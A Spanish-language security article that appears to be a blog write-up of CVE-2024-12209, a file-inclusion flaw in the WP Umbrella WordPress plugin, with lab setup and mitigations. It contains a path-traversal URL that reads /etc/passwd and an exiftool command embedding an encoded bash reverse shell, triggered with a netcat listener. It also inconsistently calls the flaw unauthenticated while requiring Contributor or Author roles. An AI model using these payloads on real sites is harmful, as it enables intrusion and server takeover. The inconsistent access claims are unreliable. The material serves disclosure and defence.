# Vulnerabilidad crítica de LFI en WP Umbrella permite RCE en sitios WordPress
Se ha descubierto una vulnerabilidad crítica de LFI con CVSS 9.8 (CVE-2024-12209) en el plugin WP Umbrella, utilizado en más de 30.000 sitios WordPress. Afecta al endpoint umbrella-restore a través del parámetro filename, permitiendo a usuarios no autenticados lograr ejecución remota de código (RCE).
El plugin está diseñado para la monitorización y gestión centralizada de múltiples sitios WordPress, lo que lo hace popular entre agencias y freelancers. La vulnerabilidad se explota mediante inclusión dinámica de archivos sin validación de ruta.
Configuración del entorno de prueba
Para reproducirla, necesitarás un stack LAMP/XAMPP local con PHP y MySQL. Instala WordPress:
cd ~/Downloads
unzip wordpress-6.6.2.zip
sudo mv wordpress /opt/lampp/htdocs/
sudo chown -R daemon:daemon /opt/lampp/htdocs
Ejecuta el instalador en http://127.0.0.1/wordpress. Instala la versión vulnerable del plugin WP Umbrella.
Mecanismo de LFI en umbrella-restore
La vulnerabilidad surge por la falta de sanitización del parámetro filename en las funciones include/require de PHP. Un atacante puede especificar una ruta a un archivo arbitrario en el servidor.
Vector 1: Lectura directa de archivos del sistema (rol Contributor)
Para roles sin permisos de subida de medios, se usa traversía de ruta:
https://wp-dev.ddev.site/?umbrella-restore=1&filename=../../../../../../etc/passwd
Esto permite volcar el contenido de /etc/passwd sin privilegios adicionales.
Vector 2: RCE mediante inyección de metadatos EXIF (rol Author)
- Crea un archivo JPG con un payload PHP en el comentario EXIF:
exiftool -Comment="<?php system('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx | base64 -d | bash')?>" name.jpg
- Sube el archivo vía el admin: Media → Add New.
- Copia la URL del archivo subido, p. ej.,
/wp-content/uploads/2024/12/maxresdefault.jpg.
- Inicia un listener de Netcat:
nc -lvnp 4444
- Explota la LFI:
http://localhost/?umbrella-restore=1&filename=wp-content/uploads/2024/12/maxresdefault.jpg
El payload se ejecuta, estableciendo un shell inverso en el puerto 4444.
Recomendaciones de protección
- Actualiza el plugin WP Umbrella a la versión parchada.
- Implementa un WAF con reglas contra traversía de ruta (ModSecurity OWASP CRS).
- Desactiva el acceso a
umbrella-restorepara usuarios no autenticados. - Usa
open_basediren php.ini para restringir el acceso al sistema de archivos. - Escanea regularmente en busca de LFI usando Burp Suite o Nuclei.
Puntos clave
- La vulnerabilidad CVSS 9.8 permite RCE no autenticado en más de 30.000 sitios.
- Dos vectores: LFI directo e inyección vía EXIF en archivos multimedia subidos.
- La explotación requiere solo acceso al frontend, rol Contributor o superior.
- El parcheo es obligatorio; sin él, es posible la toma de control del servidor y fugas de datos.
- Prueba en un entorno aislado, evita producción.
— Editorial Team
Aún no hay comentarios.